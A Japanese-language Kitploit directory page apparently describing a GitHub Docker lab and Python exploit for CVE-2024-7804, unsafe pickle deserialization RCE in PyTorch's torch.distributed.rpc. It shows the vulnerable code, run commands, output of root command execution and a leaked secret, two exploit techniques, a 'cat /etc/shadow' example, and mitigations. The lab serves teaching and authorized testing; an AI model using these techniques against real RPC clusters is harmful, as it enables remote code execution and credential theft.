Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
EXPLOIT-CVE-2024-7804 — # CVE-2024-7804(PyTorch torch.distributed.rpc の安全でない pickle 逆シリアル化 RCE、CWE-502、torch <= 2.3.1)用の Docker ラボ + Python エクスプロイト | Kitploit
ツール/GitHubGitHub/joaovicdev/exploit-cve-2024-7804
脆弱性分析エクスプロイト学習と教育バイナリエクスプロイトラボと実践
GitHubjoaovicdev/exploit-cve-2024-7804

EXPLOIT-CVE-2024-7804

# CVE-2024-7804(PyTorch torch.distributed.rpc の安全でない pickle 逆シリアル化 RCE、CWE-502、torch <= 2.3.1)用の Docker ラボ + Python エクスプロイト

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
1日前未レビュー
共有

CVE-2024-7804 — PyTorch分散型RPCの安全でないデシリアライゼーション(RCE)

CVE-2024-7804 の自己完結型ラボ+エクスプロイト:PyTorchの分散型RPCフレームワーク(torch.distributed.rpc)における、信頼されていないデータの安全でないデシリアライゼーション(CWE-502)によるリモートコード実行。

  • 影響を受けるバージョン: torch <= 2.3.1
  • 脆弱なコード: torch/distributed/rpc/internal.py — _InternalRPCPickler.deserialize()
  • CVSS 3.0: 9.8(Critical)

注:このアドバイザリは後にメンテナおよびRed Hatによって「既知の機能」として撤回/却下されました — PyTorch RPCは設計上信頼できるピアシステムです。このラボは、報告された問題の正確で実践的なデモンストレーションとして引き続き有効です。

脆弱性

すべてのRPC呼び出しはPythonUDF namedtuple(func、args、)を送信します。受信ノードでは、許可リストも整合性チェックもない**素の**で再構築されます:

kwargs
pickle.Unpickler
root@kitploit:~
# torch/distributed/rpc/internal.py  (torch 2.3.1)
def deserialize(self, binary_data, tensor_table):
    ...
    unpickler = _unpickler(io.BytesIO(binary_data))   # _unpickler = pickle.Unpickler
    ret = unpickler.load()                            # <-- 攻撃者が制御するpickle
    ...

RPCの「ワールド」に参加できるピアは、load()の実行中に発火するpickleの__reduce__ガジェットを介して、またはノードが実行する内容を制限するものがないため、インポート可能な呼び出し可能オブジェクトをUDFとして指定するだけで、ノードに任意のコードを実行させることができます。

レイアウト

root@kitploit:~
CVE-2024-7804/
├── docker-compose.yml   # 被害者 + 攻撃者を1つのブリッジネットワーク上に配置
├── lab/
│   ├── Dockerfile       # python:3.11-slim + torch 2.3.1 (CPU) — 脆弱なイメージ
│   └── server.py        # 被害者: ピアを待機する信頼するRPCワーカー
└── exploit/
    └── exploit.py       # 攻撃者: ワールドに参加し、被害者にRCEを仕掛ける

要件

Composeプラグインを備えたDocker。CPUのみ(GPUなし)、amd64およびarm64で動作します。

実行方法

root@kitploit:~
# 1. 脆弱な被害者ノードを起動(rank 0、ピアを待機)
docker compose up --build -d victim

# 2. エクスプロイトを実行(デフォルト: 被害者上でコマンドを実行し、そのstdoutを取得)
docker compose run --rm attacker

# 3. すべてを破棄
docker compose down

期待される出力(デフォルトの手法)

root@kitploit:~
[attacker] ===== command output returned from victim =====
uid=0(root) gid=0(root) groups=0(root)
victim
--- exfiltrated secret ---
CLUSTER_API_KEY=sk-live-9c1f4b7e-DO-NOT-LEAK
[attacker] ===== end output =====

攻撃者は被害者上でrootとしてコマンドを実行し、公開されるはずのなかったファイルを外部に持ち出しました。

エクスプロイトの2つの手法

コマンド内容
docker compose run --rm attackersubprocess.check_outputをUDFとして送信。被害者はコマンドを実行してそのstdoutを返します — 1回の呼び出しでRCEおよびデータ外部持ち出しを実現。
docker compose run --rm attacker python exploit.py --reduce__reduce__がos.systemを実行するオブジェクトを送信。被害者がペイロードをアンピックルしている間に実行されます — UDFが呼び出される前の、デシリアライゼーション時点でのRCE(CWE-502の本質)。

カスタムコマンド:

root@kitploit:~
docker compose run --rm attacker python exploit.py --cmd "cat /etc/shadow"

--reduceの場合、コマンドは被害者上で実行されるため、そこで確認してください:

root@kitploit:~
docker compose run --rm attacker python exploit.py --reduce --cmd "id"
docker compose logs victim        # 出力は被害者のログに表示されます

--reduceの被害者ログは、torch/distributed/rpc/internal.pyの約207行目(python_udf.func(...))でトレースバックで終了します — ペイロードが安全でないアンピックラーによってすでに再構築され実行された証拠です。

修正方法

  • 影響を受ける行を超えてアップグレードし、PyTorchのガイダンスに従ってください:相互に信頼できるノード間でのみ、信頼できるネットワーク上でRPCを実行してください。
  • RPCレンデブーポート(デフォルト29500)を信頼されていないネットワークに公開しないでください。
  • pickleベースのプロトコルはコード実行として扱ってください:ピアを認証および暗号化し(例:mTLS)、RPCワーカーを分離してください。

免責事項

教育および許可されたセキュリティテストのみを目的としています。このラボは意図的に脆弱です — デプロイしないでください。また、このラボに対してのみエクスプロイトを実行してください。

ツールをダウンロード